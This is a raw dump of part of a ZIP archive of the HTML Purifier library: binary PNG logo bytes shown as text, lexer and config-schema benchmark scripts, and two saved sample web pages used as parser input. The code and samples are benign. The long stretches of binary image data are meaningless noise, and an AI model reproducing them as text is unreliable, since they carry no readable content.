J$P P"�� �H� �D %( (�@@)�M$ @g� �D %( (�@@�
J$P P"�� �H� �D %( (�@@�
J$P P"�� �H� �D %( (�@@�
J$P P"�� �H� �D ��Y�MK��� IEND�B`�PK j�$Z
���F' F' htmlpurifier/art/logo-large.pngnu �[��� �PNG
IHDR , , y}�u sBIT|d� tEXtSoftware www.inkscape.org��< IDATx���y�$e�'�_d�U}V��\"4���(��� ���"����=ʺ�2;��� ������~vV �����ﻛ�ꪮ�>*��#2�#�����͌̈��}?]���oFF>��o�� ! ��vo#�O � �+� 4� �!��k� �O$� ���(�yMh�Ոď����R�ȼ��8Y>�u��Z���L>V�S����!2��3��Z�t��ڒ�qV�9��kK�� w�Tg��+^���� K�Yx_)Pg��@��<��T�y��3��u�o-���ߍ���}�]g�}n�:�ۏ�kg�<ݾ�~ #�XS ��v�< `���e)��h�����& � ��p���
� ���� �;�"�bn��_N���H �l�[AD$a���IZ�`:�
"�"� !���9�"�i�� �� � m 4
Р!� ��!�%��i ��&�e^��L
L=/�i"]cj⟦���N�K�#5�/��H?��"�-�o�u �w�J-�U�����ҏ�U%��lq�k�-m�D��h��,�%U.�s�m}N�zo�m�̤��s"�
��/�[8�9����]oz���췟�~���#!2m"3�3{2��Ϟ�|-���g�gjr�@v zh��7B�W�~ ������Xq~s���%�[?, ,;!2�4���;���Zv��ٜr�
���z>3KW������ai�� �����GzOM���ޱ��3�Р%g�&`��6�`Z>L3��~GfGH� ��i���-��3����z �퐩'��3����juX� �ud��ru��r�:r�]��t�T�ȴ5����Y����:
m���.����H-�����2�-����q#��c�@�B�ߧ H���߂k/����uGLِ��˼ 3�5ԾP������<���.[�3� �> �$���v�TL$�ў�aD�T �7�'|� XF��."*�d�v�ǎ�.�%!Ĉ� �7��H]d�8ƏoR]�q!ij�OJ %4��#"�3�S�^ ��� ���|��.!)f ���4�J��k!�d�9�ED1zl#b��b� an(�|��I
����>��^��
�KHD��N�1һ^u�> )Ls�S����'"�1��>�J#
�&a�G���8ݹ� R]�+�i�)X�i
�����1��g�j3ݑovy�Y�șe?ͬ��z Z[�ҧ!Qq#=/!<��د��la�Ss� Ê�&v �Ħ����=��i��ҁ(�q*8Y�kI��
F��@*��3 ��9wv>��s���y��o��j��vG�.�� * H,�ưLS���zql �:ў�m61�}�+.��>r f�68�$"W
��b�f�ņ|ƌ�Q���>������RW5 �k��n�+�B#8���b���F��U��0:��
�}\� 8<��� %�= aJ��;�Ftc)��Q�&�����B:zOL9� "���`�Z� �E�%�G~Q�z�:k<`�_�C�O�n�k����I��^�� {.�5�1�a��;�D �19�|�M �� =�����V-,"��0tt��bA �2b��r�/ �t;V���*#�@�:@(�C �7b��v����$3,��u�ȟT�m ���j�� ?�݆�{A�u/�u�Q�S ήҺ�j҄?B��Ӧ�p���P��^^��ġ�ul]������BI����L["����1|�u����
�z�J���Wq���f��@��V/A�J��a 7�р�s��6����Z�b��.D����:����ԱJ��jG��ǯ fXD���0rb��bw�"��U�=@"`I�� 3�uWȰ��� W"r�0��zIu
��Xd◕j�XR�)cz�]B������"UYd �mjN�t�2Ey�
S8~E� 3�c��N��n��'ʞ�^�t�W
-�B����Ac�{ו&��: _[��X�,�yTgPX�9$�G0vr��"� �g��s� �*��CFO���� &��ECc�
6)K���� ��c� ����Q~4U�_��t #ѸJv� ��#�w��h� �����K)`EK�*^V�cXDU�G&1>С��Ϣ��S�jO!U�� "w�?�2It
�lNAUtW��;Q !09ԥ��#��H��\��{� u R}�����+���WV���S��B��G <\��L˗�W���'T8B��+�*�<ݭR��H`ر{ީ�3�I�Ni �4ӌcj�G�x @��CUV$*��M��"*Ip�Oe��3���t߱��%T����� ���J��T;dU%�R��|K"*M܈!0�'[|�Kl��eX XDU25� !�'u? 9~�>fX<��<jj�J�W�v��J����Q�D&�g��\��H�R������ ]:?�]x�+z"J�ԙ�
�QDJgּX�v����|��.!QDC*�V� �Vi]B�̌Q(dXG�S��l��*u 9�E�&
���+Mq�]=`q!�Q�ō��Yp�+�U�*.�1,�
�GT��p�UB�P1+c�ETa�Gk8`��%��2,,�
OI�_
�'��l���w ݟa�bB Q�DC��E]�]�+n���cXD��#�E]3�*%��"J�삦)'�J�?l�W)��5&�@0��-lm�S)>G�r"���eX-M��2�*UND�R��ڤ�a1`QA�1,��^@�KXW���^z �]B"*� O�s� `Bf� P�b�ETa�<��:�$�- ���DZ�a���b�r�R�@K�t�b�ED��Jɰ���̰����,��
NdX�K{�(��t ݙaQAUtwy�E�1�۩��3,�Z��V�.!3,"��r��
]�-̰��ր%}�����Oܵ��!�����_v��)Ci%-��| f+UND�a
X��nV
X��3�`�R�D��uC��ґ��{.��YH5`�nU��̹J�Q��.��>RY֨b�Z0�A���J��g����T3��z �IgY�)U^>�!��JʰT �5�Q�(3,"ʫĀ�>�,�na�3,"�U˰̓X̰�(���DЀi�
�0�"�9��-)`�&0R��%�a�~����R���<�����z�P!`̲�(��2,���ŹXDT�܀5 @�YP}�{=���kf�EDg�
XO�s� 0(���D G
�,fXD㺱ti��J���ǔW���a9�u�-_�:&��z��lw"*G��uDf�����,.��庿"D�_�k2G(�6K�K���_�ԬT9�x%, U˲8���QV� Q��\,"*G���!�����}N4�[L0�"r���w�XɹX�2 �v ��4̟]/[�e)tw�#���ED�S^�*e.�\��"���I�� �a��N�6^.��e;!N
��0�H��"�:���H��(# �H��배}4�;������(2�$���� Ho���#ҿ�#���mzF ��R�e�Gr=��o��j���g=��-R�%w�mM>UW߈�Y �ʹ ��� ��X��Iz�*�~���Z�誰t�.04ƾ�! � ��T�:�mC&!��Z ���Z���[�+/�ⅵ}��P0�c}'q�x?��`VpH) Y�̲
S�fz�㜀��3��3��b����R��߶��<� �,�
-����ZY]B@�[�d�t���;�*wX ��;�e� &���b��Bx�ظ�����0�x��m�<ԃ`@�`4 ��Ȯg�d�T�T�&S��FUH��u��7Nuj�y��&��K���������1�t�:�9�������:� �8i��AD�N7����'��D��6̝U�����6�[�r��O�`�H��w�g�j���d �]ǜnƌ66��t*j��:�nᩡ��J�_"�eU#òE�����@�6tzD�;B%?}dFo��Q�z�R�^��;�,��9)��U]_8�C�+���a�V{k�
B�3w;O��T0�cdB�[��a5�V�r"��� X{e+9�WD=O>`��*UNDvq]߲X�%u��j��Mhn���v�w�v��
�hF*5V��(�N�JT3,�Oû�+M~|��;_�Zi%D4��� ��b� S X p�e��r@���< /\ǫ_z�' �W啹�� >9��� x�Jmq���I�U��r��dpLG0G[S�׆��nF�_�̛ �쎍�C����ӏ�*�2w16��K�^|��? V�1.evo}��6�e��~��k�lE}�(�zA���?����'O(-� �|�
���o �]�ċ?��u��Dd�bk�lEG������ #��+��[ ���8�_~�B�DTD@B�B4h���)���RVN��K �
X��h��>��b�2��i���e��_t#���mZ�q�Mfn��|�R ,no�_]���e��[l X'NG��eI yO;n�zqI��w���&p���S>y�"���A}��mu��[d��B� ���x�<|� m-��#�����y2� �����j �����/�Y���p��ھ,1Q�̻�h���X@rzî��F��YY�ބ���K0��ݢ+b�v,[��t3�<O� d��EGb&��3!��N�u�_���q ��X�||��|��˪�b":����� ��L�� SX�|V�-���4��9x�E�16�c�c8�@�P��1T��
�>\z�<�� 1gVc��CD�d� ~ g+��c
u�"�5�?p>ov�}�B|��B f�18�H��&��p��z�D<n S�W��z���:
u���:_�_�Χ�����R�o���_�}��YR�Z.>�ͮ?�r���p �>��Wo>����P�òE-X��9 XR7��fZn�y�sYe�?GD�r��ղ7 �Ħ}ս)I��;캿�*�U ��z�9?N��3Q"�.��}�� �]�|(b�[�>���5u�y"r1� }��sT�ʢDD)���wU��
� ?q��� B��{�4"�<� ���uɕ��<��~؍�^ ��MG�hfPXOݷ"�s �O ���˃�� wa��Q."G��s ���� �RW:6e���:�˧N`_�$��
���L�3��{oy�?���|�uDc&6 ����hk�a��ٸ�6\|n �w����y%��/��B�
��شo ���A@`^[ .>�
��m�yKZ�xA#Zn#FD3OY��5�7~��H���.f>�;:&��q$O����z,^Ј��X�ބ� �h~��6@/�G4ӕ�a �~��Gn��C ~`� u�340��� �WP���kĢ�&̟]��m������V�٭
hu�UL�H�- �~���o�Ɓ+ <
�b��a����G��b����B��Q�9�ZpޒV����,i�ٍ�l&�+( �rݑ0� <���;n���� ���QD�;�VP4f��D ='�hk��K�����梮ζ -U����g����3��7\�_ v��.����� ��cx������K��V�R�g |�̓+o�V � �K�����1��01ūL�Q�@k~��5?x�g��� ��:���⧿���x�X$�ʨڠͳ������>�� \ �g ���~SA ����83-"Wqd��ه/���×�`)��@b�V(\���Ƨb���^�<e���u;��G U=������?���ni�~ p�K,q�}'�ز�4�\�ȩ&���+���"`C� ��;�<�%ɟ��/P�_�s��BΤ'rW�|��� �'�>v� � � dX�D7s)�Y���ǧb�::�K�4�ܪ��L�X���ӫM �ɟ�s_���| !�V �<��. �*���1E�5��y�� 3 $v�- |�K�5 X�ĝ�o�����T�T �
� 5cV!��'u ; |�[�Y
��Ŗ�D��
��zns�L$6��z�乇e r�;�� ���$R"�y:`��I R7M� 0`9��+�L!�� ~��ƀ%9��i<DH�4,n�Bx�Ѕ��,"�1`IN�1b9�Kv0^9�K�KX�VQQ X���G ��ǀ�Aw� �KX���j���j�t�ŸF�4,�A�J7���a�����E�4,�£�.�.!Q�`����XDNc�b���f0`�KHT3�8��f0`�j
�1��%�i��,v �j3,�����m@T3<�e���g��&v �������W�A<J�2����y X��%$r���Q
�z�RȰ*� "���%�]B"�y=`�(!Qa<J�2<JHTC�$�KH�<�,�(�xE�8�, %$�!^X��lI�z��y�8Z��%$�!^X���,v �j�$�+"�y=`)�!F,"�y=`1�"�?�ǣ�.ÀETC� �x
��ū5��,��LTC� �8���x=`q�;y�%�U����q^X̰�j� �,�WQLםnոz��0F�*��t��ۉ��SN7�j��Oͩ0��vu �8�JR8�纣�^X C��:���ıc��, ��=430`�dh��c�C%gU]v��f�,���X�躁�{���~�ћ0<b_�h&�z��<,��F�sG��U�۵��
v��f ,ق�Xy�t{�v%�*Q�� Y4Cy=`y} ZY����فP(ZnU ��HזG��[F6�QB�a�U]7�{O7z��J�`U��_u��2���*Qt�G�mG'B� L�"�U=|x��巌����G%麁]{���[Ҽ�\� ����yȎ��;� �< ���G�m{'B� ����:7��Y)�z��5ݧ�Ȫ����Q��� Vun�9�**����^��?�-��5V� ��ϘU��� %t���ވX1���=8bOV���C���Æ�y>`����Ql�ޅPЖ�� ~p赟0�"�x=`�� $ƪv��A�� �� ���� 1�"�1`�_���ǰy�a����� ���YU����K̰Ft���=8�= �VwX���~����e�4� �v�~�6m�B����cU���#̪f ���^X�wE0M�}v�t���Gq��oǕvXup��̪�j� ��3�x��S�1�yk����Cr����� � �$�j���ql�ً�n?l��wXu`���o�:�,�.a
ƫS�1���S[ƪ��� dVE��z�����DZeg/u�2�*�U��fU�8��7�~�?�W^�F��#��x`��3��Qx.a��1��DZy�Qt �� �� V��{lh�m�$�9`��cænL�s�^ �{�>fU�:^X�]¸ '��F [w�᠍Yվ�eVE��U����G(T�]�u$�����x/�*r5�,�A�J6�4��t� �`����oCs�*���� � :W�|� �e��B\��{=�����{|~���a���� k��Ú��ĕ.߳�� VT�<�a���[���<_��� V�^��}N7�� ^ϰ �,�F�U:�ڽ� ���y:�J2 4+T��> �v=�{�n�]�aI����t$�Wu���u;=3,�.am�DV��7�hFb�%�aU1`uB�/����.۹�� V4c1`�,`m}�+� ����~ ��\��ٹ��˞�N�f X�G ��%�7�2���;��ڞ
���8�%�aU�Y~ � 7x}?�U;��;*�fX��H��pc�$�>y���'o��� z���k �� � � V�#�]�l�M��41Ò�P��jl�ޟf�ܶ���wӏW ۞���~�&ق�Vx_T�n��Q%��}�M�u��#[ �����H,M�AӴi�[��]B�����X��E�$�|�� ,���^� �(�Y�PрU�]B,�.��+��+��Zd %Iw ���י˅亄�ư�RqfY�ʦ.!3�ZW�.!��E���h�Pi� X.dS�PiS2`�*�1�"]BfX���G ,Rǣ�`��'��6 ަR���B�V�O e���KX_�S Z��-H�� �B���@�v���: �IDAT��L��yzE�\�a�Y�8~jR���쯾�5B��-��u;�C�9+ρ��D�|s[��� ���I}7�� ��Ċvo>w�l�� ܟ� ]q�/&!DX@�!D@DF��:$S=�I�s ��0�"���,�k��̩C�N! W���� K�),mʼ6M��� �͐�3��b���e�q�̀h@s�w��ǭP �l��p��MC�L��J�j`��"L4Z<`]t�\�����[�?Dek�uִ���JuRߍj�0!SH&�ZrV+��*z ��hnkGC����V��˰b�����wI �!�݂eo-Zƌ+u �\H2`ɍ?��m��hO��jj���%�����zhr RV�*�K2`E$ư ��·��>�mW}$*j�� ��+�uV��.�� �3, 1��?^�&�TKTز�?�Y�ϖ*��a�2`�(�l���0MM2
�}�Yhj�a� �#���B3����l�h?{��2q=*[ԕ���QB!��Q�.����m��x��1�"[�n_�� ��+ ��Fe�J}/��V�n4RN��[�p�� �_��
���8�C��nHBn�ih�Վ���1�Eh�� 1EV�~��ӲE���Ā��5| ��bO��N?1��������/[#.08 ��X���x܄a�a��5���&�x � 3k"9�:9�ZXfT�^K��7+=��q���ٳّ|-w:r ��o@d [ˉt��z�z�>s�H��6Yg���{����ެ��ޖ�~ƌ���N,�i�K��|4h�|>h�����V�4�4 |u
hj���v�|u�}���"S��ҽ���+������`^}�ӻ |�X�S�Rg���iX��
K�jK��(�H�.,�'�O��<�x��_����=� r��2逕����A�K�Y.;��֑�YGj9�:2+�}��#g݅� �:2m�}o��s����� e�Ϯ `{Y+��a%H}8�a�S����-�p�z���2M����<xBTT`�l�}� ����jb�J�N��ӟ�!�S#}�����;0` 6<z� 2e��xq�I-���(N ~Ee�,��[� `�L��{�
�×/�yg=�H�C�`��C}�a��'=� ^�`����$ =9�ޓ�hk���EmX��g/j�҅�hi�f����p`���O"81�hh �C��օ&��+�̲i��d\�ŧ6 �+���ϳ���ɚ[�Yfv[������CcC �{ol����:d����3��sI�?��zδ�T3�έS 2�'}8ݺ<��Kׅ��Μ&�[&s�>5)ߴ��i��ӫ� ����*0����|Sr�Yh Vj�G�z��?�qe��:c Vz;f�g�=B������D�*�&��z�f<ӈ�0���1č #���i��`�Fξ�ژ�풵 gm�tۮ
M�z .�T �} �+������`,+�d���y���W8w�̳����ԙ�3��3�g Ugj{Y�Q�: ��g�j~�6�9X tϲ�O����v9 ��Q ֙� �Ӎ ��ۂ�':݈b�r��OO���`��Pp��q�2��x�77u�0�#7������N|���b�*��|��{���U��OƎ��tCT0`M��o���͟� :�n�
� ~ `E`��y���K���� .�) � (�܍�z���sA`��W�}�N7�� ����px& IEND�B`�PK j�$Z��� ! htmlpurifier/benchmarks/.htaccessnu �[��� Deny from all
PK j�$ZZ bx x ! htmlpurifier/benchmarks/Lexer.phpnu �[��� <?php
require_once '../library/HTMLPurifier.auto.php';
@include_once '../test-settings.php';
// PEAR
require_once 'Benchmark/Timer.php'; // to do the timing
require_once 'Text/Password.php'; // for generating random input
$LEXERS = array();
$RUNS = isset($GLOBALS['HTMLPurifierTest']['Runs'])
? $GLOBALS['HTMLPurifierTest']['Runs'] : 2;
require_once 'HTMLPurifier/Lexer/DirectLex.php';
$LEXERS['DirectLex'] = new HTMLPurifier_Lexer_DirectLex();
if (version_compare(PHP_VERSION, '5', '>=')) {
require_once 'HTMLPurifier/Lexer/DOMLex.php';
$LEXERS['DOMLex'] = new HTMLPurifier_Lexer_DOMLex();
}
// custom class to aid unit testing
class RowTimer extends Benchmark_Timer
{
public $name;
public function __construct($name, $auto = false)
{
$this->name = htmlentities($name);
$this->Benchmark_Timer($auto);
}
public function getOutput()
{
$total = $this->TimeElapsed();
$result = $this->getProfiling();
$dashes = '';
$out = '<tr>';
$out .= "<td>{$this->name}</td>";
$standard = false;
foreach ($result as $k => $v) {
if ($v['name'] == 'Start' || $v['name'] == 'Stop') continue;
//$perc = (($v['diff'] * 100) / $total);
//$tperc = (($v['total'] * 100) / $total);
//$out .= '<td align="right">' . $v['diff'] . '</td>';
if ($standard == false) $standard = $v['diff'];
$perc = $v['diff'] * 100 / $standard;
$bad_run = ($v['diff'] < 0);
$out .= '<td align="right"'.
($bad_run ? ' style="color:#AAA;"' : '').
'>' . number_format($perc, 2, '.', '') .
'%</td><td>'.number_format($v['diff'],4,'.','').'</td>';
}
$out .= '</tr>';
return $out;
}
}
function print_lexers()
{
global $LEXERS;
$first = true;
foreach ($LEXERS as $key => $value) {
if (!$first) echo ' / ';
echo htmlspecialchars($key);
$first = false;
}
}
function do_benchmark($name, $document)
{
global $LEXERS, $RUNS;
$config = HTMLPurifier_Config::createDefault();
$context = new HTMLPurifier_Context();
$timer = new RowTimer($name);
$timer->start();
foreach($LEXERS as $key => $lexer) {
for ($i=0; $i<$RUNS; $i++) $tokens = $lexer->tokenizeHTML($document, $config, $context);
$timer->setMarker($key);
}
$timer->stop();
$timer->display();
}
?>
<html>
<head>
<title>Benchmark: <?php print_lexers(); ?></title>
</head>
<body>
<h1>Benchmark: <?php print_lexers(); ?></h1>
<table border="1">
<tr><th>Case</th><?php
foreach ($LEXERS as $key => $value) {
echo '<th colspan="2">' . htmlspecialchars($key) . '</th>';
}
?></tr>
<?php
// ************************************************************************** //
// sample of html pages
$dir = 'samples/Lexer';
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
if (strpos($filename, '.html') !== strlen($filename) - 5) continue;
$document = file_get_contents($dir . '/' . $filename);
do_benchmark("File: $filename", $document);
}
// crashers, caused infinite loops before
$snippets = array();
$snippets[] = '<a href="foo>';
$snippets[] = '<a "=>';
foreach ($snippets as $snippet) {
do_benchmark($snippet, $snippet);
}
// random input
$random = Text_Password::create(80, 'unpronounceable', 'qwerty <>="\'');
do_benchmark('Random input', $random);
?></table>
<?php
echo '<div>Random input was: ' .
'<span colspan="4" style="font-family:monospace;">' .
htmlspecialchars($random) . '</span></div>';
?>
</body></html>
<?php
// vim: et sw=4 sts=4
PK j�$Z���}� � ( htmlpurifier/benchmarks/ConfigSchema.phpnu �[��� <?php
chdir(dirname(__FILE__));
//require_once '../library/HTMLPurifier.path.php';
shell_exec('php ../maintenance/generate-schema-cache.php');
require_once '../library/HTMLPurifier.path.php';
require_once 'HTMLPurifier.includes.php';
$begin = xdebug_memory_usage();
$schema = HTMLPurifier_ConfigSchema::makeFromSerial();
echo xdebug_memory_usage() - $begin;
// vim: et sw=4 sts=4
PK j�$Z�t[�� � ! htmlpurifier/benchmarks/Trace.phpnu �[��� <?php
ini_set('xdebug.trace_format', 1);
ini_set('xdebug.show_mem_delta', true);
if (file_exists('Trace.xt')) {
echo "Previous trace Trace.xt must be removed before this script can be run.";
exit;
}
xdebug_start_trace(dirname(__FILE__) . '/Trace');
require_once '../library/HTMLPurifier.auto.php';
$purifier = new HTMLPurifier();
$data = $purifier->purify(file_get_contents('samples/Lexer/4.html'));
xdebug_stop_trace();
echo "Trace finished.";
// vim: et sw=4 sts=4
PK j�$Z���һ � , htmlpurifier/benchmarks/samples/Lexer/3.htmlnu �[��� <html>
<head>
<title>Anime Digi-Lib Index</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<div id="tb">
<form name="lycos_search" method="get" target="_new" style="margin: 0px"
action="http://r.hotbot.com/r/memberpgs_lycos_searchbox_af/http://www.angelfire.lycos.com/cgi-bin/search/pursuit">
<table id="tbtable" cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid black;">
<tr style="background-color: #dcf7ff">
<td colspan="3">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td> Search:</td>
<td><input type="radio" name="cat" value="lycos" checked></td>
<td nowrap="nowrap">The Web</td>
<td><input type="radio" name="cat" value="angelfire"></td>
<td nowrap="nowrap">Angelfire</td>
<td nowrap="nowrap"> <img src="http://af.lygo.com/d/toolbar/planeticon.gif"></td><td nowrap="nowrap"> <a href="http://r.lycos.com/r/tlbr_planet/http://planet.lycos.com" target="_new">Planet</a></td>
</tr>
</table>
<td nowrap="nowrap"><a href="http://lt.angelfire.com/af_toolbar/edit/_h_/www.angelfire.lycos.com/build/index.tmpl" target="_top">
<span id="build">Edit your Site</span></a> </td>
<td><img src="http://af.lygo.com/d/toolbar/dir.gif" alt="show site directory" border="0" height="10" hspace="3" width="8"></td>
<td nowrap="nowrap"><a href="http://lt.angelfire.com/af_toolbar/browse/_h_/www.angelfire.lycos.com/directory/index.tmpl" target="_top">Browse Sites</a> </td>
<td><a href="http://lt.angelfire.com/af_toolbar/angelfire/_h_/www.angelfire.lycos.com" target="_top"><img src="http://af.lygo.com/d/toolbar/aflogo_top.gif" alt="hosted by angelfire" border="0" height="26" width="143"></a></td>
</tr>
<tr style="background-color: #dcf7ff">
<td nowrap="nowrap" valign="middle"> <input size="30" style="font-size: 10px; background-color: #fff;" type="text" name="query" id="searchbox"></td>
<td style="background: #fff url(http://af.lygo.com/d/toolbar/bg.gif) repeat-x; text-align: center;" colspan="3" align="center">
<a href="http://clk.atdmt.com/VON/go/lycsnvon0710000019von/direct/01/"><img src="/sys/free_logo_xxxx_157x20.gif" height="20" width="157" border="0" alt="Vonage"></a><img src="http://view.atdmt.com/VON/view/lycsnvon0710000019von/direct/01/"></td>
<span style="font-size: 11px;">
<span style="color:#00f; font-weight:bold;">«</span>
<span id="top100">
<a href="javascript:void top100('prev')" target="_top">Previous</a> |
<a href="http://lt.angelfire.com/af_toolbar/top100/_h_/www.angelfire.lycos.com/cgi-bin/top100/pagelist?start=1" target="_top">Top 100</a> |
<a href="javascript:void top100('next')" target="_top">Next</a>
</span>
<span style="color: #00f; font-weight: bold;">»</span>
</span>
</td>
<td valign="top" style="background: #fff url(http://af.lygo.com/d/toolbar/bg.gif) repeat-x;"><a href="http://lt.angelfire.com/af_toolbar/angelfire/_h_/www.angelfire.lycos.com" target="_top"><img src="http://af.lygo.com/d/toolbar/aflogo_bot.gif" alt="hosted by angelfire" border="0" height="22" width="143"></a></td>
</tr>
</table>
</form>
</div>
<table border="0" cellpadding="0" cellspacing="0" width="728"><tr><td>
<script type="text/javascript">
if (objAdMgr.isSlotAvailable("leaderboard")) {
objAdMgr.renderSlot("leaderboard")
}
</script>
<noscript>
<a href="http://network.realmedia.com/RealMedia/ads/click_nx.ads/lycosangelfire/ros/728x90/wp/ss/a/491169@Top1?x"><img border="0" src="http://network.realmedia.com/RealMedia/ads/adstream_nx.ads/lycosangelfire/ros/728x90/wp/ss/a/491169@Top1" alt="leaderboard ad" /></a>
</noscript>
</td></tr>
</table>
<table width="86%" border="0" cellspacing="0" cellpadding="2">
<tr>
<td height="388" width="19%" bgcolor="#FFCCFF" valign="top">
<p>May 1, 2000</p>
<p><b>Pop Culture</b> </p>
<p>by. H. Finkelstein</p>
</td>
<td height="388" width="52%" valign="top">
<p>Welcome to the <b>Anime Digi-Lib</b>, a virtual index to anime on the
internet. This site strives to house a comprehensive index to both personal
and commercial websites and provides reviews to these sites. We hope to
be a gateway for people who've never imagined they'd ever be interested
in Japanese Animation. </p>
<table width="99%" border="1" cellspacing="0" cellpadding="2" height="320" name="Searchnservices">
<tr>
<td height="263" valign="top" width="58%">
<p> </p>
<p> </p>
<FORM ACTION="/cgi-bin/script_library/site_search/search" METHOD="GET">
<table border="0" cellpadding="2" cellspacing="0">
<tr>
<td colspan="2">Search term: <INPUT NAME="search_term"><br></td>
</tr>
<tr>
<td colspan="2" align="center">Case-sensitive -
<INPUT TYPE="checkbox" NAME="case_sensitive">yes<br></td>
</tr>
<tr>
<td align="right"><INPUT TYPE="radio" NAME="search_type" VALUE="exact" CHECKED>exact</td>
<td><INPUT TYPE="radio" NAME="search_type" VALUE="fuzzy">fuzzy<br></td>
</tr>
<tr>
<td colspan="2" align="center"><INPUT TYPE="hidden" NAME="display" VALUE="#FF0000"><INPUT TYPE="submit"></td>
</tr>
</table>
</form>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr><td><font face="verdana,geneva" color="#000011" size="1">What is better, subtitled or dubbed anime?</font></td></tr>
<tr><td><input type="radio" name="rd" value="1"><font face="verdana" size="2" color="#000011">Subtitled</font></td></tr>
<tr><td align="middle"><font face="verdana" size="1"><a href="http://pub.alxnet.com/poll?id=2079873&q=view">Current results</a></font></td></tr>
</table></td></tr>
<tr>
<td><font face="verdana" size="1"><a href="http://www.alxnet.com/services/poll/">Free
Web Polls</a></font></td>
</tr>
</table></form>
<!-- Alxnet.com -- web poll code ends -->
</td>
</tr>
</table>
</body>
</html>
<!-- vim: et sw=4 sts=4
-->
PK j�$Z���� � , htmlpurifier/benchmarks/samples/Lexer/4.htmlnu �[��� <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="Tai Chi Chuan,Yang Pan-hou,Yang Chien-hou,Yang style Tai Chi Chuan,Yang Lu-ch'an,Wu/Hao style T'ai Chi Ch'uan,Wu Ch'uan-y�,Hao Wei-chen,Yang Shou-chung,Wu style T'ai Chi Ch'uan,Wu Chien-ch'�an" />
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="copyright" href="http://www.gnu.org/copyleft/fdl.html" />
<title>Tai Chi Chuan - Wikipedia, the free encyclopedia</title>
<style type="text/css" media="screen,projection">/*<![CDATA[*/ @import "/skins-1.5/monobook/main.css?9"; /*]]>*/</style>
<link rel="stylesheet" type="text/css" media="print" href="/skins-1.5/common/commonPrint.css" />
<!--[if lt IE 5.5000]><style type="text/css">@import "/skins-1.5/monobook/IE50Fixes.css";</style><![endif]-->
<!--[if IE 5.5000]><style type="text/css">@import "/skins-1.5/monobook/IE55Fixes.css";</style><![endif]-->
<!--[if IE 6]><style type="text/css">@import "/skins-1.5/monobook/IE60Fixes.css";</style><![endif]-->
<!--[if IE 7]><style type="text/css">@import "/skins-1.5/monobook/IE70Fixes.css?1";</style><![endif]-->
<!--[if lt IE 7]><script type="text/javascript" src="/skins-1.5/common/IEFixes.js"></script>
<meta http-equiv="imagetoolbar" content="no" /><![endif]-->
<script type="text/javascript">var skin = 'monobook';var stylepath = '/skins-1.5';</script>
<script type="text/javascript" src="/skins-1.5/common/wikibits.js?1"><!-- wikibits js --></script>
<script type="text/javascript" src="/w/index.php?title=-&action=raw&smaxage=0&gen=js"><!-- site js --></script>
<style type="text/css">/*<![CDATA[*/
@import "/w/index.php?title=MediaWiki:Common.css&action=raw&ctype=text/css&smaxage=2678400";
@import "/w/index.php?title=MediaWiki:Monobook.css&action=raw&ctype=text/css&smaxage=2678400";
@import "/w/index.php?title=-&action=raw&gen=css&maxage=2678400&ts=20060721225848";
@import "/w/index.php?title=User:Edward_Z._Yang/monobook.css&action=raw&ctype=text/css";
/*]]>*/</style>
<script type="text/javascript" src="/w/index.php?title=User:Edward_Z._Yang/monobook.js&action=raw&ctype=text/javascript&dontcountme=s"></script>
<!-- Head Scripts -->
</head>
<body class="ns-0 ltr">
<div id="globalWrapper">
<div id="column-content">
<div id="content">
<a name="top" id="top"></a>
<div id="siteNotice"><div id="wikimania2006" style="text-align:right; font-size:80%"><a href="http://wm06reg.wikimedia.org/" class="external text" title="http://wm06reg.wikimedia.org/">Registration</a> for <a href="http://wikimania2006.wikimedia.org" class="external text" title="http://wikimania2006.wikimedia.org">Wikimania 2006</a> is open. </div>
</div> <h1 class="firstHeading">Tai Chi Chuan</h1>
<div id="bodyContent">
<h3 id="siteSub">From Wikipedia, the free encyclopedia</h3>
<div id="contentSub"></div>
<div id="jump-to-nav">Jump to: <a href="#column-one">navigation</a>, <a href="#searchInput">search</a></div> <!-- start content -->
<table border="1" cellpadding="2" cellspacing="0" align="right">
<tr>
<th colspan="2" bgcolor="#FFCCCC"><big>???</big></th>
</tr>
<tr>
<td colspan="2">
<div class="center">
<div class="thumb tnone">
<div style="width:182px;"><a href="/wiki/Image:Yang_Ch%27eng-fu_circa_1918.jpg" class="internal" title="Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918"><img src="http://upload.wikimedia.org/wikipedia/en/thumb/d/d1/Yang_Ch%27eng-fu_circa_1918.jpg/180px-Yang_Ch%27eng-fu_circa_1918.jpg" alt="Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918" width="180" height="255" longdesc="/wiki/Image:Yang_Ch%27eng-fu_circa_1918.jpg" /></a>
<div class="thumbcaption">
<div class="magnify" style="float:right"><a href="/wiki/Image:Yang_Ch%27eng-fu_circa_1918.jpg" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
<b><a href="/wiki/Yang_Chengfu" title="Yang Chengfu">Yang Chengfu</a> in a posture from the Tai Chi solo form known as <i>Single Whip</i>, circa <a href="/wiki/1918" title="1918">1918</a></b></div>
</div>
</div>
</div>
</td>
</tr>
<tr>
<th colspan="2"><a href="/wiki/Chinese_language" title="Chinese language">Chinese</a> Name</th>
</tr>
<tr>
<td><a href="/wiki/Hanyu_Pinyin" title="Hanyu Pinyin">Hanyu Pinyin</a></td>
<td>T�ij�qu�n</td>
</tr>
<tr>
<td><a href="/wiki/Wade-Giles" title="Wade-Giles">Wade-Giles</a></td>
<td>T'ai<sup>4</sup> Chi<sup>2</sup> Ch'�an<sup>2</sup></td>
</tr>
<tr>
<td><a href="/wiki/Simplified_Chinese" title="Simplified Chinese">Simplified Chinese</a></td>
<td>???</td>
</tr>
<tr>
<td><a href="/wiki/Traditional_Chinese" title="Traditional Chinese">Traditional Chinese</a></td>
